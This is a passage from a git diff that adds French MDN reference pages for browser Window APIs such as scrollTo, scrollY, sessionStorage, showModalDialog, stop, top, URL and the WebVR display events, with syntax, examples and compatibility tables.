+<p>{{ languages( { "ja": "ja/DOM/window.scrollByPages", "pl": "pl/DOM/window.scrollByPages", "zh-cn": "zh-cn/DOM/window.scrollByPages" } ) }}</p>
diff --git a/files/fr/web/api/window/scrollto/index.html b/files/fr/web/api/window/scrollto/index.html
new file mode 100644
index 0000000000..8198308355
--- /dev/null
+++ b/files/fr/web/api/window/scrollto/index.html
@@ -0,0 +1,42 @@
+---
+title: window.scrollTo
+slug: Web/API/Window/scrollTo
+tags:
+  - DOM
+  - DOM_0
+translation_of: Web/API/Window/scrollTo
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Fait défiler le document jusqu'à un jeu de coordonnées particulier.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">window.scrollTo(<em>coord-x</em>,<em>coord-y</em>);
+</pre>
+
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+
+<ul>
+ <li><code>coord-x</code> est le pixel le long de l'axe horizontal du document qui doit être affiché en haut à gauche.</li>
+ <li><code>coord-y</code> est le pixel le long de l'axe vertical du document qui doit être affiché en haut à gauche.</li>
+</ul>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<pre>window.scrollTo(0, 1000);
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>Cette fonction est fonctionnellement identique à <a href="scroll">window.scroll</a>. Pour un défilement relatif, consultez <a href="scrollBy">window.scrollBy</a>, <a href="scrollByLines">window.scrollByLines</a> et <a href="scrollByPages">window.scrollByPages</a>.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>{{ DOM0() }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.scrollTo", "ja": "ja/DOM/window.scrollTo", "pl": "pl/DOM/window.scrollTo" } ) }}</p>
diff --git a/files/fr/web/api/window/scrolly/index.html b/files/fr/web/api/window/scrolly/index.html
new file mode 100644
index 0000000000..fcc4947b16
--- /dev/null
+++ b/files/fr/web/api/window/scrolly/index.html
@@ -0,0 +1,125 @@
+---
+title: Window.scrollY
+slug: Web/API/Window/scrollY
+translation_of: Web/API/Window/scrollY
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>La propriété <code><strong>scrollY</strong></code> de l'objet {{domxref("Window")}} est une propriété en lecture seule. Elle retourne le nombre de pixels la page actuellement défilés verticalement. Dans les navigateurs modernes, cette valeur est précise au sous-pixel près. Ainsi, la valeur retournée n'est pas forcement un entier.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var y = window.scrollY;</pre>
+
+<ul>
+ <li><code>y</code> est le nombre de pixels verticaux défilés.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">// make sure and go down to the second page
+if (window.scrollY) {
+  window.scroll(0, 0);  // reset the scroll position to the top left of the document.
+}
+
+window.scrollByPages(1);</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Utilisez cette propriété pour être sûre que le document n'as pas été défilé verticalement si vous utilisez les fonctions de défilement tels que {{domxref("window.scrollBy")}}, {{domxref("window.scrollByLines")}}, ou {{domxref("window.scrollByPages")}}.</p>
+
+<p>La propriété <code>pageYOffset</code> est un alias de la propriété <code>scrollY</code>:</p>
+
+<pre>window.pageYOffset == window.scrollY; // toujours vrai</pre>
+
+<p>Pour une compatibilité multi-navigateur, utilisez <code>window.pageYOffset</code> à la place de <code>window.scrollY</code>. <strong>En outre</strong>, les anciennes versions d'Internet Explorer (&lt; 9) ne supportent pas non plus la propriété et doit-être utilisé à l'aide d'autres propriétés qui ne sont pas standards. Un exemple entièrement compatible :</p>
+
+<pre class="brush:js">var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire(s)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Edge</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="line-height: 19.0909080505371px;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.scrollX")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/sessionstorage/index.html b/files/fr/web/api/window/sessionstorage/index.html
new file mode 100644
index 0000000000..6d6bed8021
--- /dev/null
+++ b/files/fr/web/api/window/sessionstorage/index.html
@@ -0,0 +1,93 @@
+---
+title: Window.sessionStorage
+slug: Web/API/Window/sessionStorage
+tags:
+  - API
+translation_of: Web/API/Window/sessionStorage
+---
+<p>{{APIRef}}</p>
+
+<p>La propriété <code>sessionStorage</code> permet d'utiliser un objet {{domxref("Storage")}} valable pour la session de navigation en cours et pour les pages du même domaine que la page actuelle. L'objet global <code>sessionStorage</code> est similaire à {{domxref("Window.localStorage")}}, à la différence que les données enregistrées dans <code>sessionStorage</code> ont une durée vie limitée et expirent à la fin de la session de navigation actuelle. Une session de navigation dure aussi longtemps que le navigateur est ouvert et s'étend sur plusieurs chargements, rechargements et restaurations de pages. En revanche, une session de navigation n'est valable que pour le contexte de navigation actuel, c'est-à-dire que le fait d'<strong>ouvrir une page dans un nouvel onglet ou dans une nouvelle fenêtre provoquera l'initialisation d'une nouvelle session de navigation</strong>, ce qui diffère du comportement des sessions utilisant des cookies.</p>
+
+<p>Il est à noter que les données stockées dans sessionStorage ou localStorage sont <strong>spécifiques au protocole de la page.</strong></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js notranslate">// Enregistrer des données dans sessionStorage
+sessionStorage.setItem('clé', 'valeur');
+
+// Récupérer des données depuis sessionStorage
+<code>var data = sessionStorage.getItem('clé');
+
+// Supprimer des données de sessionStorage
+sessionStorage.removeItem('clé');
+
+// Supprimer toutes les données de sessionStorage
+sessionStorage.clear();</code>
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("Storage")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple de code suivant accède à l'objet de stockage de session associé au domaine actuel et y ajoute une donnée à l'aide de {{domxref("Storage.setItem()")}}.</p>
+
+<pre class="brush: js notranslate">sessionStorage.setItem('myCat', 'Tom');</pre>
+
+<p>L'exemple suivant sauvegarde automatiquement le contenu d'un champ textuel. Si la page est accidentellement rafraîchie, le contenu du champ est restauré de sorte qu'aucune saisie n'est perdue.</p>
+
+<pre class="brush: js notranslate">// Récupération du champ à enregistrer
+var champ = document.getElementById("champ");
+
+// Vérification de l'existence d'une donnée enregistrée auparavant
+// (ce ne sera le cas que si la page a été rafraîchie)
+if (sessionStorage.getItem("autosave")) {
+  // Restauration du contenu du champ
+  champ.value = sessionStorage.getItem("autosave");
+}
+
+// Écoute des changements de valeur du champ
+champ.addEventListener("change", function() {
+  // Enregistrement de la saisie utilisateur dans le stockage de session
+  sessionStorage.setItem("autosave", champ.value);
+});</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Veuillez vous référer à l'article <a href="/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API Web Storage</a> pour des exemples plus complets.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-sessionstorage", "sessionStorage")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatilibité_des_navigateurs">Compatilibité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+
+<p>Chaque navigateur attribue des capacités de stockage limitées pour <code>localStorage</code> et <code>sessionStorage</code>. Vous en trouverez certaines dans ce <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/">récapitulatif de tests des capacités de stockage attribuées en fonction du navigateur</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API Web Storage</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/showmodaldialog/index.html b/files/fr/web/api/window/showmodaldialog/index.html
new file mode 100644
index 0000000000..20cdd6248a
--- /dev/null
+++ b/files/fr/web/api/window/showmodaldialog/index.html
@@ -0,0 +1,91 @@
+---
+title: window.showModalDialog
+slug: Web/API/Window/showModalDialog
+tags:
+  - Obsolete
+translation_of: Web/API/Window/showModalDialog
+---
+<p>{{ ApiRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Crée et affiche un dialogue modal contenant un document HTML spécifié.</p>
+
+<div class="note">
+<p><strong><em>Cette fonction est obsolète</em></strong>.</p>
+
+<p>Le support a été arrêté avec la sortie de <a href="http://blog.chromium.org/2014/07/disabling-showmodaldialog.html">Chrome 37</a>. Il y possibilité de la laisser active juqu'en Mai 2015 en configurant les paramètres de politique d'entreprise, plus de détails : <a href="http://www.chromium.org/administrators/policy-list-3#EnableDeprecatedWebPlatformFeatures">ici</a>.</p>
+
+<p>Mozilla a annoncé que le support de cette méthode sera supprimé ({{bug(981796)}}). Ce changement ne sera pas effectif avant Firefox 39, planifié pour les alentours de mi-juin 2015. Pour les entreprises, il est possible d'utiliser le build ESR 38 qui supportera la méthode jusqu'en milieu d'année 2016.</p>
+</div>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval"><em>retour</em> = window.showModalDialog(<em>uri</em>[,<em>arguments</em>][,<em>options</em>]);
+</pre>
+
+<p>où</p>
+
+<ul>
+ <li><code>retour</code> est un variant, indiquant la propriété returnValue telle que définie par la fenêtre du document spécifié par <code>uri</code>.</li>
+ <li><code>uri</code> est l'URI du document à afficher dans la boîte de dialogue.</li>
+ <li><code>arguments</code> est un variant optionnel contenant les valeurs à passer à la boîte de dialogue ; celles-ci sont disponibles dans la propriété <code><a href="fr/DOM/window.dialogArguments">window.dialogArguments</a></code> de son objet <code><a href="fr/DOM/window">window</a></code>.</li>
+ <li><code>options</code> est une chaîne optionnelle spécifiant les décorations de la fenêtre de dialogue, avec une ou plusieurs valeurs séparées par des points-virgules :</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Syntaxe</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>center: <span class="nowiki">{on | off | yes | no | 1 | 0 }</span></code></td>
+   <td>Si cette valeur est <code>on</code>, <code>yes</code> ou 1, la fenêtre de dialogue est centrée sur le bureau ; autrement elle est cachée. La valeur par défaut est <code>yes</code>.</td>
+  </tr>
+  <tr>
+   <td><code>dialogheight:<em>height</em> </code></td>
+   <td>Spécifie la hauteur de la boîte de dialogue ; par défaut, la taille est spécifiée en pixels.</td>
+  </tr>
+  <tr>
+   <td><code>dialogleft:<em>left</em> </code></td>
+   <td>Spécifie la position horizontale de la boîte de dialogue par rapport au coin supérieur gauche du bureau.</td>
+  </tr>
+  <tr>
+   <td><code>dialogwidth:<em>width</em> </code></td>
+   <td>Spécifie la largeur de la boîte de dialogue ; par défaut, la taille est spécifiée en pixels.</td>
+  </tr>
+  <tr>
+   <td><code>dialogtop:<em>top</em> </code></td>
+   <td>Spécifie la position verticale de la boîte de dialogue par rapport au coin supérieur gauche du bureau.</td>
+  </tr>
+  <tr>
+   <td><code>resizable: <span class="nowiki">{on | off | yes | no | 1 | 0 }</span></code></td>
+   <td>Si cette valeur est <code>on</code>, <code>yes</code> ou 1, la fenêtre de dialogue peut être redimensionnée par l'utilisateur ; autrement sa taille est fixe. La valeur par défaut est <code>no</code>.</td>
+  </tr>
+  <tr>
+   <td><code>scroll: <span class="nowiki">{on | off | yes | no | 1 | 0 }</span></code></td>
+   <td>Si cette valeur est <code>on</code>, <code>yes</code> ou 1, la fenêtre de dialogue a des barres de défilement ; autrement elle n'en a pas. La valeur par défaut est <code>no</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ Note("Firefox n\'implémente pas les paramètres <code>dialogHide</code>, <code>edge</code>, <code>status</code> ou <code>unadorned</code>.") }}</p>
+
+<h3 id="Compatibilit.C3.A9" name="Compatibilit.C3.A9">Compatibilité</h3>
+
+<p>Introduit par Microsoft Internet Explorer 4. Support ajouté à Firefox dans Firefox 3.</p>
+
+<h3 id="Exemples" name="Exemples">Exemples</h3>
+
+<p><a class="external" href="http://developer.mozilla.org/samples/domref/showModalDialog.html">Essayer <code>showModalDialog()</code></a>.</p>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>Microsoft MSDN : <a class="external" href="http://msdn2.microsoft.com/en-us/library/ms536759.aspx">showModalDialog</a></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.showModalDialog", "ja": "ja/DOM/window.showModalDialog" } ) }}</p>
diff --git a/files/fr/web/api/window/stop/index.html b/files/fr/web/api/window/stop/index.html
new file mode 100644
index 0000000000..f3652b10da
--- /dev/null
+++ b/files/fr/web/api/window/stop/index.html
@@ -0,0 +1,58 @@
+---
+title: Window.stop()
+slug: Web/API/Window/stop
+tags:
+  - API
+  - DOM
+  - HTML DOM
+  - Méthode
+  - Reference
+  - Window
+  - stop
+translation_of: Web/API/Window/stop
+---
+<div> {{APIRef}}</div>
+
+<div><span class="seoSummary"><strong><code>window.stop()</code></strong> arrête le chargment des ressources supplémentaires dans le contexte de navigation actuel, ce qui équivaut au bouton d'arrêt dans le navigateur.</span></div>
+
+<div></div>
+
+<div>En raison de la manière dont les scripts sont exécutés, cette méthode ne peut pas interrompre le chargement de son document parent, mais elle arrêtera ses images, nouvelles fenêtres et autres objets en cours de chargement.</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">window.stop()
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js notranslate">window.stop();
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-window-stop', 'Window.stop')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.stop")}}</p>
diff --git a/files/fr/web/api/window/storage_event/index.html b/files/fr/web/api/window/storage_event/index.html
new file mode 100644
index 0000000000..49152ebc7d
--- /dev/null
+++ b/files/fr/web/api/window/storage_event/index.html
@@ -0,0 +1,83 @@
+---
+title: 'Window: storage event'
+slug: Web/API/Window/storage_event
+tags:
+  - API
+  - Evènement
+  - Reference
+  - Stockage
+  - Stockage Web
+  - Window
+translation_of: Web/API/Window/storage_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <strong><code>storage</code></strong> de l'interface {{domxref("Window")}} se déclenche lorsqu'une de stockage (<code>localStorage</code>) a été modifiée dans le contexte d'un autre document.</p>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Bulles</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th>Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("StorageEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Propriété de gestionnaire d'événements</th>
+   <td>{{domxref("WindowEventHandlers.onstorage", "onstorage")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Consignez l'élément <code>sampleList</code> sur la console lorsque l'événement <code>storage</code> se déclenche :</p>
+
+<pre class="brush: js notranslate">window.addEventListener('storage', () =&gt; {
+  // Lorsque le stockage local change, vider la liste sur
+  // la console.
+  console.log(JSON.parse(window.localStorage.getItem('sampleList')));
+});</pre>
+
+<p>La même action peut être réalisée ) l'aide de la propriété du gestionnaire d'événements <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onstorage">onstorage</a></code> :</p>
+
+<pre class="brush: js notranslate">window.onstorage = () =&gt; {
+  // Lorsque le stockage local change, vider la liste dans
+  // la console.
+  console.log(JSON.parse(window.localStorage.getItem('sampleList')));
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'indices.html#event-storage', 'storage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Window.storage_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+</ul>
diff --git a/files/fr/web/api/window/top/index.html b/files/fr/web/api/window/top/index.html
new file mode 100644
index 0000000000..6ccc92f659
--- /dev/null
+++ b/files/fr/web/api/window/top/index.html
@@ -0,0 +1,56 @@
+---
+title: Window.top
+slug: Web/API/Window/top
+tags:
+  - API
+  - HTML DOM
+  - NeedsExample
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/top
+---
+<div>{{APIRef}}</div>
+
+<p>Renvoie une référence à la fenêtre la plus haute dans la hiérarchie des fenêtres</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <var>topWindow</var> = window.top;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Là où la propriété {{domxref("window.parent")}} renvoie le parent immédiat de la fenêtre courante, <code>window.top</code> renvoie la fenêtre la plus haute dans la hiérarchie des objets de fenêtre.</p>
+
+<p>Cette propriété est particulièrement utile lorsque vous avez affaire à une fenêtre qui se trouve dans une subframe d'un ou de plusieurs parents, et que vous souhaitez accéder au jeu de frameset de niveau supérieur.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.top")}}</p>
diff --git a/files/fr/web/api/window/url/index.html b/files/fr/web/api/window/url/index.html
new file mode 100644
index 0000000000..fa84a12f6d
--- /dev/null
+++ b/files/fr/web/api/window/url/index.html
@@ -0,0 +1,94 @@
+---
+title: Window.URL
+slug: Web/API/Window/URL
+translation_of: Web/API/URL
+---
+<p>{{ApiRef("Window")}}{{SeeCompatTable}}</p>
+
+<p>La propriété <strong><code>Window.URL</code></strong> retourne un objet qui fournit les méthodes statiques utilisées pour créer et gérer les objets URLs. On peut aussi l'appeler comme uns constructeur pour instancier des objets {{domxref("URL")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>Utilisation de la méthode statique:</p>
+
+<pre class="syntaxbox"><code><var>img</var>.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(<var>blob</var>);</code></pre>
+
+<p>Utilisation d'un objet instancié:</p>
+
+<pre class="syntaxbox"><code>var <var>url</var> = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");</code></pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url', 'URL')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8.0<sup>[2]</sup></td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("19.0")}}</td>
+   <td>10.0</td>
+   <td>15.0<sup>[2]</sup></td>
+   <td>6.0<sup>[2]</sup><br>
+    7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatGeckoMobile("14.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>15.0<sup>[2]</sup></td>
+   <td>6.0<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] From Gecko 2 (Firefox 4) to Gecko 18 included, Gecko returned an object with the non-standard <code>nsIDOMMozURLProperty</code> internal type. In practice, this didn't make any difference.</p>
+
+<p>[2] Implemented under the non-standard name <code>webkitURL</code>.</p>
diff --git a/files/fr/web/api/window/vrdisplayconnect_event/index.html b/files/fr/web/api/window/vrdisplayconnect_event/index.html
new file mode 100644
index 0000000000..dab575facf
--- /dev/null
+++ b/files/fr/web/api/window/vrdisplayconnect_event/index.html
@@ -0,0 +1,83 @@
+---
+title: 'Window: vrdisplayconnect event'
+slug: Web/API/Window/vrdisplayconnect_event
+tags:
+  - Evènement
+  - Reference
+  - WebVR
+  - onvrdisplayconnect
+  - vrdisplayconnect
+translation_of: Web/API/Window/vrdisplayconnect_event
+---
+<div>{{APIRef("Window")}}</div>
+
+<div>
+<p>L'événement <strong><code>vrdisplayconnect</code></strong> de l'<a href="/en-US/docs/Web/API/WebVR_API">API WebVR</a> est déclenché lorsqu'un écran VR compatible est connecté à l'ordinateur.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("VRDisplayEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td><code><a href="/en-US/docs/Web/API/Window/onvrdisplayconnect">onvrdisplayconnect</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Vous pouvez utiliser l'événement <code>vrdisplayconnect</code> dans une méthode <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> :</p>
+
+<pre class="brush: js notranslate">window.addEventListener('vrdisplayconnect', function() {
+  info.textContent = 'Affichage connecté.';
+  reportDisplays();
+});</pre>
+
+<p>Ou utilisez la propriété du gestionnaire d'événements <code><a href="/en-US/docs/Web/API/Window/onvrdisplayconnect">onvrdisplayconnect</a></code> :</p>
+
+<pre class="brush: js notranslate">window.onvrdisplayconnect = function() {
+  info.textContent = 'Affichage connecté.';
+  reportDisplays();
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentair</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-window-onvrdisplayconnect', 'vrdisplayconnect')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.vrdisplayconnect_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — démos, téléchargements et autres ressources de l'équipe Mozilla VR.</li>
+</ul>
diff --git a/files/fr/web/api/window/vrdisplaydisconnect_event/index.html b/files/fr/web/api/window/vrdisplaydisconnect_event/index.html
new file mode 100644
index 0000000000..74b66bc520
--- /dev/null
+++ b/files/fr/web/api/window/vrdisplaydisconnect_event/index.html
@@ -0,0 +1,83 @@
+---
+title: 'Window: vrdisplaydisconnect event'
+slug: Web/API/Window/vrdisplaydisconnect_event
+tags:
+  - Evènement
+  - Reference
+  - WebVR
+  - onvrdisplaydisconnect
+  - vrdisplaydisconnect
+translation_of: Web/API/Window/vrdisplaydisconnect_event
+---
+<div>{{APIRef("Window")}}</div>
+
+<div>
+<p>L'événement <strong><code>vrdisplaydisconnect</code></strong> de l'<a href="/en-US/docs/Web/API/WebVR_API">API WebVR</a> est déclenché lorsqu'un écran VR compatible est déconnecté de l'ordinateur.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Non</td>
